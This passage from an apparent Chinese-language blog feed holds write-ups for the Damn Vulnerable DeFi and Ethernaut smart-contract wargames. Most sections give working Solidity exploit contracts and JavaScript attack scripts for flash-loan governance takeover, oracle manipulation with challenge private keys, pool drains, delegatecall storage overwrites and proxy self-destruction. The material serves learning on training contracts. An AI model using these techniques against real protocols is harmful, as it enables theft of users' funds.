wbtc.transfer(address(usdcBtcPair), (amount1Out * 103 / 100) + 1); wbtc.transfer(owner, wbtc.balanceOf(address(this))); } function tokensReceived( address operator, address from, address to, uint256 amount, bytes calldata userData, bytes calldata operatorData ) external { if (wbtc.balanceOf(address(moneyMarket)) >= 1e18) { moneyMarket.withdraw(address(wbtc), amount); } } function pwn() external { usdcBtcPair.swap(0, 10e18, address(this), new bytes(1)); }}</code></pre>]]></content>
</entry>
<entry>
<title>Damn Defi 题解(中)</title>
<link href="/2023/02/25/Damn-Defi-%E9%A2%98%E8%A7%A3%20%EF%BC%88%E4%B8%AD%EF%BC%89/"/>
<url>/2023/02/25/Damn-Defi-%E9%A2%98%E8%A7%A3%20%EF%BC%88%E4%B8%AD%EF%BC%89/</url>
<content type="html"><![CDATA[<h1 id="Damn-Defi-题解-中"><a href="#Damn-Defi-题解-中" class="headerlink" title="Damn Defi 题解(中)"></a>Damn Defi 题解(中)</h1><h2 id="selfi"><a href="#selfi" class="headerlink" title="selfi"></a>selfi</h2><p>一个提供DVT代币的闪电贷,池中有一百五十万个DVT。我们身无分文,但是我们需要拿走全部的DVT。<br>这个题和以往的题唯一不同的地方,就是多了一个治理机制。</p><p>SelfiePool:这个池里有一个闪电贷的函数,同时有一个可以转出所有资金的函数drainAllFunds(),但是只能被治理合约所调用。</p><p>SimpleGovernance:这就是之前提到的治理合约,queueAction函数会验证你是否拥有足够的token,当你拥有了矿池中半数以上的DVT代币后(我们现在有闪借池,这点很容易绕过),在两天之后输入你的id即可在executeAction中执行该调用。</p><p>很明显,我们可以通过executeAction函数中去执行闪电贷合约中的drainAllFunds函数,即可绕开onlyGovernance的限定。</p><h3 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h3><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;import "./SimpleGovernance.sol";import "./SelfiePool.sol";import "../DamnValuableTokenSnapshot.sol";contract SelfieExploit { SimpleGovernance public goverance; SelfiePool public pool; address attcker; uint256 actionId; constructor(address _pool, address _goverance){ pool = SelfiePool(_pool); goverance = SimpleGovernance(_goverance); attcker = msg.sender; } function exploit (uint256 _amount) public { pool.flashLoan(_amount); } function receiveTokens (address _token, uint256 amount) external { DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token); token.snapshot(); actionId = goverance.queueAction(address(pool), abi.encodeWithSignature( "drainAllFunds(address)", attcker ), 0); token.transfer(address(pool), amount); } function drainToAttacker() external { goverance.executeAction(actionId); } receive () external payable {}}</code></pre><h2 id="Compromised"><a href="#Compromised" class="headerlink" title="Compromised"></a>Compromised</h2><p>一个交易所在售卖一种代币DVNFT,每个价值999ETH,要我们以0.1ETH的余额来拿走交易所中全部的ETH。</p><p> Exchange:一个简单的交易所。</p><p> TrustfulOracle:一个预言机合约。这个预言机值得我们仔细阅读。这个预言机合约几乎提供了所有的可以修改价格的函数,报告者通过postPrice()来设定自己的价格,而getMedianPrice()是交易所来获取三个可信者定价中位数的函数,并以此来作为该交易的价格。因为只有初始化的三个可信报告者可以定价,所以我们如果能够控制这2个地址,就能够随意的更改价格。</p><p> 题目中给的两串十六进制数,先用ascii码转化,再用base64解码就可以得到三个账户中其中两个的私钥。<br>0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9<br>0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48</p><h3 id="Exploit-1"><a href="#Exploit-1" class="headerlink" title="Exploit"></a>Exploit</h3><pre class=" language-1"><code class="language-1">it('Exploit', async function () { /** CODE YOUR EXPLOIT HERE */ //用二者私钥创建钱包 const sources1 = new ethers.Wallet("0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9", ethers.provider); const sources2 = new ethers.Wallet("0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48", ethers.provider); //将NFT价格设置为1wei await this.oracle.connect(sources1).postPrice("DVNFT", 1); await this.oracle.connect(sources2).postPrice("DVNFT", 1); //买入 await this.exchange.connect(attacker).buyOne({value:1}); //重新将价格设置为exchange合约的总余额 _balance = ethers.provider.getBalance(this.exchange.address); await this.oracle.connect(sources1).postPrice("DVNFT", _balance); await this.oracle.connect(sources2).postPrice("DVNFT", _balance); //卖出 await this.nftToken.connect(attacker).approve(this.exchange.address, 0); await this.exchange.connect(attacker).sellOne(0); });</code></pre><h2 id="Puppet"><a href="#Puppet" class="headerlink" title="Puppet"></a>Puppet</h2><p> 有一个借贷池在借贷DVT,池中有十万DYT,题直接通过abi引用了一个已经编译了的Uniswap v1的合约,我们需要以25ETH和1000DVT的余额拿走借贷池中的所有代币。</p><p> 写这题我们先要了解Uniswap v1。可以看看这个<a href="https://zhuanlan.zhihu.com/p/552867213">传送门</a>。</p><p> 在了解了uniswap v1后,我们就应该知道,题中没有足够多的流动性来应对大规模的买进卖出。因此我们只需要出售我们手中所有的token,就会导致市场崩盘,价格失衡。(token大幅度贬值),那么我们手中的ETH将会非常值钱,这时候我们再调用borrow函数,由于token的贬值,我们可以通过抵押我们手中的ETH获得几乎全部的token。</p><h3 id="Exploit-2"><a href="#Exploit-2" class="headerlink" title="Exploit"></a>Exploit</h3><pre class=" language-1"><code class="language-1">it('Exploit', async function () { await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE); // 在交易所置换自己所有的token await this.uniswapRouter.connect(attacker).swapExactTokensForETH( ATTACKER_INITIAL_TOKEN_BALANCE, 0, [this.token.address, this.uniswapRouter.WETH()], attacker.address, 9999999999 ); console.log('Attacker`s balance:', (await ethers.provider.getBalance(attacker.address)).toString()); //计算borrow所有token所需要的eth const amount = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE); //先往钱包里存钱 await this.weth.connect(attacker).deposit({value:amount}); await this.weth.connect(attacker).approve(this.lendingPool.address, amount); await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE); });</code></pre><h2 id="Puppet-V2"><a href="#Puppet-V2" class="headerlink" title="Puppet V2"></a>Puppet V2</h2><p>这次题目采用了uniswapv2,我们有20ETH和10000DVT代币,需要我们讲借贷池中的100万DVT代币全部拿走。</p><p>这题虽然用了uniswapv2,但是和上一题差别不大。思路也一样。</p><h3 id="Exploit-3"><a href="#Exploit-3" class="headerlink" title="Exploit"></a>Exploit</h3><pre class=" language-1"><code class="language-1">it('Exploit', async function () { await this.token.connect(attacker).approve(this.uniswapRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE); // 在交易所置换自己所有的token await this.uniswapRouter.connect(attacker).swapExactTokensForETH( ATTACKER_INITIAL_TOKEN_BALANCE, 0, [this.token.address, this.uniswapRouter.WETH()], attacker.address, 9999999999 ); console.log('Attacker`s balance:', (await ethers.provider.getBalance(attacker.address)).toString()); //计算borrow所有token所需要的eth const amount = await this.lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE); //先往钱包里存钱 await this.weth.connect(attacker).deposit({value:amount}); await this.weth.connect(attacker).approve(this.lendingPool.address, amount); await this.lendingPool.connect(attacker).borrow(POOL_INITIAL_TOKEN_BALANCE); });</code></pre><h2 id="Free-Rider"><a href="#Free-Rider" class="headerlink" title="Free Rider"></a>Free Rider</h2><p>题目要求我们偷走买家的的45个ETH,并且还要市场失去一些比特币。</p><p>本题的关键就是这2串代码</p><pre class=" language-1"><code class="language-1">_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId); payable(_token.ownerOf(tokenId)).sendValue(priceToPay);</code></pre><p> 这存在很明显的逻辑漏洞。在nft从owner转给我们之后,再将用于购买的eth又发给了代币拥有者,但这时的代币拥有者已经变成了买家,所以等于买家没花任何钱就买到了nft。</p><h3 id="Exploit-4"><a href="#Exploit-4" class="headerlink" title="Exploit"></a>Exploit</h3><pre class=" language-1"><code class="language-1">it('Exploit', async function () { const AttackFactory = await ethers.getContractFactory("AttackFreeRider", attacker); const attackContract = await AttackFactory.deploy( this.weth.address, this.uniswapFactory.address, this.token.address, this.marketplace.address, this.buyerContract.address, this.nft.address, ); await attackContract.flashSwap(this.weth.address, NFT_PRICE, { gasLimit: 1e6 }); });</code></pre>]]></content>
</entry>
<entry>
<title>Damn Defi 题解(上)</title>
<link href="/2023/02/24/Damn-Defi-%E9%A2%98%E8%A7%A3%EF%BC%88%E4%B8%8A%EF%BC%89/"/>
<url>/2023/02/24/Damn-Defi-%E9%A2%98%E8%A7%A3%EF%BC%88%E4%B8%8A%EF%BC%89/</url>
<content type="html"><![CDATA[<h1 id="Damn-Defi-题解(上)"><a href="#Damn-Defi-题解(上)" class="headerlink" title="Damn Defi 题解(上)"></a>Damn Defi 题解(上)</h1><h2 id="Unstoppable"><a href="#Unstoppable" class="headerlink" title="Unstoppable"></a>Unstoppable</h2><p>题目给了一个闪电贷合约,要求我们停止这个闪电贷合约继续运行。<br>可以注意到这个闪电贷函数是有明显问题的。</p><pre class=" language-1"><code class="language-1">if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();</code></pre><p>convertToShares(totalSupply) != balanceBefore;这个判断不严谨。<br>而如果我们通过ERC20的transfer来转账,balanceBefore余额会增加.这就会造成此闪电贷池宕机。</p><h3 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h3><p>我们只需要向该合约提交一笔转账即可。</p><pre class=" language-1"><code class="language-1">await this.token.transfer(this.pool.address, INITIAL_ATTACKER_BALANCE, { from: attacker} );</code></pre><h2 id="naive-reciever"><a href="#naive-reciever" class="headerlink" title="naive-reciever"></a>naive-reciever</h2><p>借贷池中有一千个eth,而用户拥有十个eth,我们要做的就是将用户的这十个ETH掏空。<br>这个flashloan函数只要被调用一次就会抽取1ETH的小费。但是接收器没有判断消息的发送者是否为msg.sender。</p><h3 id="Exploit-1"><a href="#Exploit-1" class="headerlink" title="Exploit"></a>Exploit</h3><p>只需要循环调用flashloan函数即可</p><pre class=" language-1"><code class="language-1">for(let i = 0; i < 10; i++){ await this.pool.connect(attacker).flashLoan (thisreceiver.address, "0"); }</code></pre><h2 id="Truster"><a href="#Truster" class="headerlink" title="Truster"></a>Truster</h2><p>题目要求我们取走闪电贷合约的一百万的余额。我们开始没有币。<br>这是一个关于外部调用的一个漏洞。<br>ReentrancyGuard并不是能让你安枕无忧的防止外部调用的方法,在这种特定情况下,最大的问题是允许指定与借款人合同不同的呼叫目标。<br>解题关键是这串代码。</p><pre class=" language-1"><code class="language-1">target.functionCall(data);</code></pre><p>functioncall函数是由Address.sol提供的一个调用方法。<br>那么我们就可以获取到此token地址,通过借入的漏洞冒充pool池approve给我们一笔巨款,随后我们就可以把approve的这部分token拿到手。</p><h3 id="Exploit-2"><a href="#Exploit-2" class="headerlink" title="Exploit"></a>Exploit</h3><p>js:</p><pre class=" language-1"><code class="language-1">it('Exploit', async function () { // 计算我们要的data; const data = web3.eth.abi.encodeFunctionCall( { name: 'approve', type: 'function', inputs: [ { type: 'address', name: 'addr' }, { type: 'uint256', name: 'amount' } ] },[attacker.address, TOKENS_IN_POOL] ); await this.pool.connect(attacker).flashLoan(0, attacker.address, this.token.address, data); await this.token.connect(attacker).transferFrom(this.pool.address, attacker.address, TOKENS_IN_POOL); });</code></pre><p>soildity:</p><pre class=" language-1"><code class="language-1"> pragma solidity ^0.8.0;import "./TrusterLenderPool.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";interface ITrusterLenderPool{ function flashLoan(uint256 borrowAmount, address borrower, address target, bytes calldata data) external;}contract TrusterExploit{ ITrusterLenderPool cons; uint256 balanceOfPool; address tokenAdr; address poolAdr; constructor(address _pool, uint256 BalanceOfPool, address _token){ cons = ITrusterLenderPool(_pool); poolAdr = _pool; balanceOfPool = BalanceOfPool; tokenAdr = _token; } function attack() public { cons.flashLoan(0, msg.sender, tokenAdr, abi.encodeWithSignature("approve(address,uint256)", address(this), balanceOfPool)); IERC20 token = IERC20(tokenAdr); token.transferFrom(poolAdr, msg.sender,balanceOfPool); }}</code></pre><h2 id="Side-Entrance"><a href="#Side-Entrance" class="headerlink" title="Side Entrance"></a>Side Entrance</h2><p>一个借贷池有一千ETH余额,我们将借贷池掏空。<br>通过阅读代码,我们可以明显的发现此题的flashloan的判断后缀条件有机可乘。<br>我们可以在运行IFlashLoanEtherReceiver(msg.sender).execute{value: amount}()中,在接到钱后,用 deposit() 函数存钱,我们就可以通过<br>if (address(this).balance < balanceBefore)<br> revert RepayFailed();<br> }<br>之后再取。</p><h3 id="Expolit"><a href="#Expolit" class="headerlink" title="Expolit"></a>Expolit</h3><p>solidity</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;import "./SideEntranceLenderPool.sol";// interface IFlashLoanEtherReceiver {// function execute() external payable;// }contract SideEntranceExploit is IFlashLoanEtherReceiver{ SideEntranceLenderPool pool; address payable attacker; constructor(address _pool){ pool = SideEntranceLenderPool(_pool); attacker = payable(msg.sender); } function attack(uint256 _amount) public{ pool.flashLoan(_amount); pool.withdraw(); } function execute() external payable override { pool.deposit{value:address(this).balance}(); } receive() external payable{ attacker.transfer(address(this).balance); }}</code></pre><p>js</p><pre class=" language-1"><code class="language-1">it('Exploit', async function () { const SideEntranceLenderAttackFactory = await ethers.getContractFactory("sideEntranceLenderAttack",attacker) const attack = await SideEntranceLenderAttackFactory.deploy(this.pool.address) await attack.connect(attacker).attack(ETHER_IN_POOL) await attack.connect(attacker).withdraw() });</code></pre><h2 id="The-rewarder"><a href="#The-rewarder" class="headerlink" title="The rewarder"></a>The rewarder</h2><p>FlashPool从一开始就获得一百万个代币,提到的4个人中的每一个人都获得100个DVT,这些DVT立即由他们存入奖励池。在此初始设置之后,时间提前5天,并支付一轮奖励:每人25个奖励代币。,而我们没有DVT代币,却也希望得到奖励。</p><p>RewardToken:<br>这是一个的ERC20的Token,唯一的区别就是这个奖励币可以被无限铸.</p><p>AccountingToken:<br>这是一个有访问控制管理的具有交易快照功能的Token,应该是针对每一轮的奖励而写的Token。</p><p>TheRewarderPool:<br>这应该是这个系统最核心的合约了,里面有存款,奖励,取款的一系列流程。</p><p>FlashLoanerPool:这是比较常见的闪电贷池。但是,出现了外部调用。 msg.sender.functionCall(abi.encodeWithSignature(“receiveFlashLoan(uint256)”, amount));我们可能利用receiveFlashLoan()函数干一些坏事。<br>那我们的思路已经很明确了,就是在闪电贷合约中借钱,然后存入矿池中,继而得到奖励代币,再将奖励代币发送给attacker,然后将钱返还给闪电贷合约,即可完成攻击。</p><h3 id="Expolit-1"><a href="#Expolit-1" class="headerlink" title="Expolit"></a>Expolit</h3><p>solidity</p><pre class=" language-1"><code class="language-1">// SPDX-License-Identifier: MITpragma solidity ^0.8.0;import "./RewardToken.sol";import "../DamnValuableToken.sol";import "./TheRewarderPool.sol";import "./FlashLoanerPool.sol";contract rewardAttack { RewardToken rewardTO; TheRewarderPool rewardPool; DamnValuableToken liquidToken; FlashLoanerPool flashPool; constructor( address rt, address rp, address lt, address fl ) public { rewardTO = RewardToken(rt); rewardPool = TheRewarderPool(rp); liquidToken = DamnValuableToken(lt); flashPool = FlashLoanerPool(fl); } function attack() public { uint256 amount = liquidToken.balanceOf(address(flashPool)); flashPool.flashLoan(amount); } function receiveFlashLoan(uint256 amount) public { liquidToken.approve(address(rewardPool), amount); rewardPool.deposit(amount); rewardPool.withdraw(amount); liquidToken.transfer(address(flashPool), amount); } function complete() public { rewardTO.transfer(msg.sender, rewardTO.balanceOf(address(this))); } fallback() external payable {}}</code></pre><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>这应该是所有希望激励用户存款的系统都会面临的漏洞。你的协议可能希望激励长期质押,而不是短期套利交易。因此,最好是摆脱回合,根据存款的每一秒来计算奖励</p>]]></content>
</entry>
<entry>
<title>Ethernaut题解——摘录(下)</title>
<link href="/2022/12/17/Ethernaut%E9%A2%98%E8%A7%A3%E2%80%94%E2%80%94%E6%91%98%E5%BD%95%EF%BC%88%E4%B8%8B%EF%BC%89/"/>
<url>/2022/12/17/Ethernaut%E9%A2%98%E8%A7%A3%E2%80%94%E2%80%94%E6%91%98%E5%BD%95%EF%BC%88%E4%B8%8B%EF%BC%89/</url>
<content type="html"><![CDATA[<h1 id="Ethernaut题解——摘录-下"><a href="#Ethernaut题解——摘录-下" class="headerlink" title="Ethernaut题解——摘录(下)"></a>Ethernaut题解——摘录(下)</h1><h2 id="Dex-And-Dex-Two"><a href="#Dex-And-Dex-Two" class="headerlink" title="Dex And Dex Two"></a>Dex And Dex Two</h2><p>这两题大差不差,题意就是玩家账户上的 token1 和 token2 都各有 10 个 token,而题目账户上每种有 100 个,题1目的是把题目账户上的某个 token 清零。<br>题2目的是把题目账户上都 token 清零。</p><p>题1的漏洞点在于,在计算每次交换的代币数量时,getSwapPrice函数内部使用了除法,由于除法可能产生小数,小数转整型不可避免地存在精度缺失问题,导致了在交换过程中我们可以获取更多代币,从而达到清空题目合约拥有代币数的目的。</p><pre class=" language-1"><code class="language-1">token1 = (await contract.token1())token2 = (await contract.token2())await contract.swap(token1,token2,10)await contract.swap(token2,token1,20)await contract.swap(token1,token2,24)await contract.swap(token2,token1,30)await contract.swap(token1,token2,41)await contract.swap(token2,token1,45)</code></pre><p>题2与题1明显没有 </p><pre class=" language-1"><code class="language-1">require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");</code></pre><p>也就是说可以有第3方token进入。</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.6.0;import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/IERC20.sol";import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.2.0/contracts/token/ERC20/ERC20.sol";contract Mytoken is ERC20 { address public target; constructor(string memory name, string memory symbol, uint256 number) public ERC20(name, symbol) { _mint(msg.sender, number); }}</code></pre><p>设置number为200,也就是让我们初始拥有200个恶意token。。然后approve题目地址,并转给题目地址100个token,这样我们和题目合约初始情况下各拥有100个恶意合约的token。</p><p>然后执行</p><pre class=" language-1"><code class="language-1">await contract.approve(player,1000)await contract.approve(contract.address,1000)token1 = (await contract.token1())token2 = (await contract.token2())// mytoken1和mytoken2分别对应2个部署的恶意合约的地址mytoken1 =mytoken2 =await contract.swap(mytoken1,token1,100)await contract.swap(mytoken2,token2,100)</code></pre><h2 id="Puzzle-Wallet"><a href="#Puzzle-Wallet" class="headerlink" title="Puzzle Wallet"></a>Puzzle Wallet</h2><p>本题要我们成为admin。</p><p>本题使用了代理模式。因此它有一个很大的撞库风险。所以如果我们想修改admin其实可以从maxBalance入手。 而想要通过setMaxBalance修改maxBalance有一个先决条件,那就是在白名单中。而要添加到白名单,需要调用addToWhitelist,这又需要require(msg.sender == owner, “Not the owner”);所以我们可以先通过修改pendingAdmin修改owner。大致思路就是这样。</p><p>先手动调用proposeNewAdmin。</p><pre class=" language-1"><code class="language-1">functionSignature = { name: 'proposeNewAdmin', type: 'function', inputs: [ { type: 'address', name: '_newAdmin' } ]}params = [player]data = web3.eth.abi.encodeFunctionCall(functionSignature, params)await web3.eth.sendTransaction({from: player, to: instance, data})</code></pre><p>在将自己加入白名单。</p><pre class=" language-1"><code class="language-1">await contract.proposeNewAdmin(player)</code></pre><p>要修改maxBalance,就需要使合约余额清0。我们看multicall函数,它的作用是同时进行多次函数调用,但是deposit函数除外。由于这里使用了selector来比较,那么我们只需要换个方式调用deposit函数即可绕过。我们可调用deposit和multicall(deposit)。</p><pre class=" language-1"><code class="language-1">depositData = await contract.methods["deposit()"].request().then(v => v.data)multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)await contract.multicall([depositData, multicallData], {value: toWei('0.001')})await contract.execute(player,toWei('0.002'),0x0)</code></pre><p>设定maxBalance</p><pre class=" language-1"><code class="language-1">await contract.setMaxBalance(player)</code></pre><h2 id="Motorbike"><a href="#Motorbike" class="headerlink" title="Motorbike"></a>Motorbike</h2><p>本题要求我们去使engine合约自毁。</p><p>因为整个合约中都没有 selfdestruct,所以要upgradeToAndCall函数更新合约。需要通过 _authorizeUpgrade 函数的检查。这个可以通过 initialize 函数完成。</p><pre class=" language-1"><code class="language-1">> await web3.eth.getStorageAt(instance, "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc")'0x000000000000000000000000<engine address>'> engine = "0x<engine address>"> data = web3.utils.sha3("initialize()").slice(0, 10)'0x8129fc1c'> web3.eth.sendTransaction({from: player, to: engine, data: data})> await web3.eth.call({from: player, to: engine, data: web3.utils.sha3("upgrader()").slice(0, 10)}) // 验证 upgrader'0x000000000000000000000000<player address>'> exp = "<Exploit contract address>"> expdata = web3.utils.sha3("exp()").slice(0, 10)'0xab60ffda'> signature = { name: 'upgradeToAndCall', type: 'function', inputs: [ { type: 'address', name: 'newImplementation' }, { type: 'bytes memory', name: 'data' } ]}{name: 'upgradeToAndCall', type: 'function', inputs: Array(2)}> data = web3.eth.abi.encodeFunctionCall(upgradeSignature, [exp, expdata])'0x4f1ef286000000000000000000000000700f6c75bffc3e6379bfa14cf050127c15a5573900000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000004ab60ffda00000000000000000000000000000000000000000000000000000000'> web3.eth.sendTransaction({from: player, to: engine, data: data})</code></pre><pre class=" language-1"><code class="language-1">pragma solidity ^0.6.0;contract Exploit { function exp() public { selfdestruct(payable(0)); }}</code></pre><h2 id="DoubleEntryPoint"><a href="#DoubleEntryPoint" class="headerlink" title="DoubleEntryPoint"></a>DoubleEntryPoint</h2><p>本题要求我们写一个合约来维护它。</p><p>CryptoVault:提供一个sweepToken方法,允许任何人转代币。该函数内部的唯一检查是,你不能转移Vault的underlying代币。underlying代币DoubleEntryPoint。</p><p>LegacyToken.sol:它有一个transfer函数,当delegate不为0是调用delegate.delegateTransfer(to, value, msg.sender);delegate就是DoubleEntryPoint合约。</p><p>漏洞很明显sweepToken 只阻止了 底层 DoubleEntryPoint 的转账。但我们可以通过LegacyToken.transfer1取。</p><pre class=" language-1"><code class="language-1">function exploitLevel() internal override { vm.startPrank(player, player); DetectionBot bot = new DetectionBot( level.cryptoVault(), abi.encodeWithSignature("delegateTransfer(address,uint256,address)") ); monitor the `DoubleEntryPoint` contract level.forta().setDetectionBot(address(bot)); vm.stopPrank();}</code></pre><h2 id="Good-Samaritan"><a href="#Good-Samaritan" class="headerlink" title="Good Samaritan"></a>Good Samaritan</h2><p>本题要求我们取完Wallet中的coin。</p><p>想要取完,就要调用transferRemainder。由我们自己直接调用肯定是行不通的。但我们看requestDonation函数,会执行donate10函数,当执行失败后,会检测错误,若为NotEnoughBalance(),就会调transferRemainder。那如何做呢? if (coin.balances(address(this)) < 10)此条件明显办不到。我们看这一串代码。</p><pre class=" language-1"><code class="language-1"> if(dest_.isContract()) { // notify contract INotifyable(dest_).notify(amount_); }</code></pre><p>当dest_为合约是会调用它的notify函数。</p><p>到这思路已经清晰了。用合约调requestDonation函数,在notify函数中报错,返回<br>NotEnoughBalance()。</p><pre class=" language-1"><code class="language-1">pragma solidity >=0.8.0 <0.9.0;contract attack { uint256 number=100; error NotEnoughBalance(); function notify(uint256 amount) external{ if(amount<number){ revert NotEnoughBalance(); } }}</code></pre><h2 id="Gatekeeper-Three"><a href="#Gatekeeper-Three" class="headerlink" title="Gatekeeper Three"></a>Gatekeeper Three</h2><p>本题要求我们通过3个gates,成为entrant。</p><p>gateone: 这个我们可以让过度合约成为owner在通过调过度合约去绕过。要想成为owner,就要通过construct0r函数(额,有点小丑)。</p><p>gatetwo:这个也很简单,只要用合约跟它交互,就可以得到password。也可以用web3.js直接查。</p><p>gatethree:这个也简单,在owner中的收款函数中加个revert让交易回滚就行。</p><p>得到pass2word。</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;contract getpassword { SimpleTrick public trick ; constructor (address _target) { trick = SimpleTrick(_target); } uint public passwords; function att(uint _passwords) public { passwords = block.timestamp; trick.checkPassword(_passwords); }}</code></pre><pre class=" language-1"><code class="language-1">contract attack{ GatekeeperThree public target; constructor (address payable _target) { target = GatekeeperThree(_target); } function passone() public { target.construct0r(); } function passtwo(uint number) public { target.getAllowance(number); } function attack () public { target.enter(); } receive() external payable { revert(); }}</code></pre>]]></content>
</entry>
<entry>
<title>Ethernaut题解——摘录(中)</title>
<link href="/2022/12/10/Ethernaut%E9%A2%98%E8%A7%A3%E2%80%94%E2%80%94%E6%91%98%E5%BD%95(%E4%B8%AD)/"/>
<url>/2022/12/10/Ethernaut%E9%A2%98%E8%A7%A3%E2%80%94%E2%80%94%E6%91%98%E5%BD%95(%E4%B8%AD)/</url>
<content type="html"><![CDATA[<h1 id="Ethernaut题解——摘录-中"><a href="#Ethernaut题解——摘录-中" class="headerlink" title="Ethernaut题解——摘录(中)"></a>Ethernaut题解——摘录(中)</h1><h2 id="Preservation"><a href="#Preservation" class="headerlink" title="Preservation"></a>Preservation</h2><pre class=" language-l"><code class="language-l">pragma solidity ^0.8.0;contract Preservation { // public library contracts address public timeZone1Library; address public timeZone2Library; address public owner; uint storedTime; // Sets the function signature for delegatecall bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")); constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) { timeZone1Library = _timeZone1LibraryAddress; timeZone2Library = _timeZone2LibraryAddress; owner = msg.sender; } // set the time for timezone 1 function setFirstTime(uint _timeStamp) public { timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); } // set the time for timezone 2 function setSecondTime(uint _timeStamp) public { timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp)); }}// Simple library contract to set the timecontract LibraryContract { // stores a timestamp uint storedTime; function setTime(uint _time) public { storedTime = _time; }}</code></pre><p>目标是拿到合约的所有权。但是从题目合约中看不到任何和更改 owner 有关的函数。<br>本题的关键点在于delegatecall。</p><p>通过delegatecall来调用另一个合约的函数并不会动用另一个合约的storage,而是使用本地storage。这就导致了在 setFirstTime函数中调用setTime函数时更改storedTime实际上会更改处于storage中相同位置timeZone1Library。这样在下一次调用setFirstTime的时候就会调用另一个地址合约的setTime函数。<br>因此可以部署一个攻击合约,其中实现 setTime 函数,里面将 owner 改为输入(注意要将攻击合约的内存布局搞的和 Preservation 合约相同)</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;contract Exploit { address public timeZone1Library; address public timeZone2Library; address public owner; // 保证这前面有两个 address function setTime(uint _time) public { owner = address(_time); }}</code></pre><h2 id="recovery"><a href="#recovery" class="headerlink" title="recovery"></a>recovery</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;contract Recovery { //generate tokens function generateToken(string memory _name, uint256 _initialSupply) public { new SimpleToken(_name, msg.sender, _initialSupply); }}contract SimpleToken { string public name; mapping (address => uint) public balances; // constructor constructor(string memory _name, address _creator, uint256 _initialSupply) { name = _name; balances[_creator] = _initialSupply; } // collect ether in return for tokens receive() external payable { balances[msg.sender] = msg.value * 10; } // allow transfers of tokens function transfer(address _to, uint _amount) public { require(balances[msg.sender] >= _amount); balances[msg.sender] = balances[msg.sender] - _amount; balances[_to] = _amount; } // clean up after ourselves function destroy(address payable _to) public { selfdestruct(_to); }}</code></pre><p>题意是instance调用 generateToken生成了一个 SimpleToken,但是不知道生成的合约地址,现在要调用这个合约的selfdestruct来将其中余额转到player账户中。<br>因为区块链都是透明的,可以直接去Etherscan的Rinkeby网络中查找。<br>所以写一个攻击合约来调用那个地址上的的destroy函数就好了</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;contract attack { address payable target; address payable myaddr; constructor(address payable _addr, address payable _myaddr) public { target=_addr; myaddr=_myaddr; } function exploit() public{ target.call(abi.encodeWithSignature("destroy(address)",myaddr)); }}</code></pre><h2 id="Alien-Codex"><a href="#Alien-Codex" class="headerlink" title="Alien Codex"></a>Alien Codex</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.5.0;import '../helpers/Ownable-05.sol';contract AlienCodex is Ownable { bool public contact; bytes32[] public codex; modifier contacted() { assert(contact); _; } function make_contact() public { contact = true; } function record(bytes32 _content) contacted public { codex.push(_content); } function retract() contacted public { codex.length--; } function revise(uint i, bytes32 _content) contacted public { codex[i] = _content; }}</code></pre><p>题目要求拿到合约的所有权。</p><p>这有跟内存有关。这个owner的存储是在Ownable中定义的,它会和contac一起放在 storage的slot0处。</p><p>由于还没有往数组里写东西,所以slot1为0。</p><p>整体思路就是,通过record函数往动态数组里写东西,算出可以覆盖的i值,然后覆盖掉就可以了。</p><p>因为codex[i] 实际上是表示keccak256(slot of codex)+i处,所以只要令i=2<em>256-keccak2</em>56(slot of codex)就可以使其变为2<strong>256,即溢出到0的位置<br>而codex的slot就是1,所以只需要计算2</strong>256-keccak256(1)。</p><h2 id="Denial"><a href="#Denial" class="headerlink" title="Denial"></a>Denial</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;contract Denial { address public partner; // withdrawal partner - pay the gas, split the withdraw address public constant owner = address(0xA9E); uint timeLastWithdrawn; mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances function setWithdrawPartner(address _partner) public { partner = _partner; } // withdraw 1% to recipient and 1% to owner function withdraw() public { uint amountToSend = address(this).balance / 100; // perform a call without checking return // The recipient can revert, the owner will still get their share partner.call{value:amountToSend}(""); payable(owner).transfer(amountToSend); // keep track of last withdrawal time timeLastWithdrawn = block.timestamp; withdrawPartnerBalances[partner] += amountToSend; } // allow deposit of funds receive() external payable {} // convenience function function contractBalance() public view returns (uint) { return address(this).balance; 